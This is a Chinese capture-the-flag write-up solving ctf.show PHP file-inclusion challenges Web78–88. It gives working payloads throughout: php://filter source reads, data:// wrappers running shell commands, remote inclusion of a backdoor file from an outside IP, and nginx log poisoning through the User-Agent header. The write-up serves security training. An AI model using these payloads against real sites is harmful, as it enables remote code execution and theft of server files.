竞争包含先不写了,有时间再写。
Web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
常规文件包含,直接读flag.php,filter伪协议:
?file=php://filter/read=convert.base64-encode/resource=flag.php
Web79:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这次有点不一样,带了个str_replace替换,所以读文件估计危险,打一打另外的操作
?file=data://text/plain,<?=`tac f*`;?>
Web80:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解法一:
远程文件包含,直接在服务器上写一个txt文件,之后http协议包含即可。
?file=http://39.107.158.17/backdoor.txt
解法二:
包含日志文件:
通过burp抓包,改user-agent,在其后面加一个php代码,比如phpinfo,
GET / HTTP/1.1
Host: 204e30c6-d77b-4e30-8694-5a79d576baf9.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 <?php phpinfo();?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i
Te: trailers
Connection: close
之后访问?file=/var/log/nginx/access.log这个文件即可。
Web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
和上一题一样,日志文件包含?file=/var/log/nginx/access.log这个文件。
Web88:
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤冒号,豆号,斜杠和分号,data协议打base64,去掉末尾的等号:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw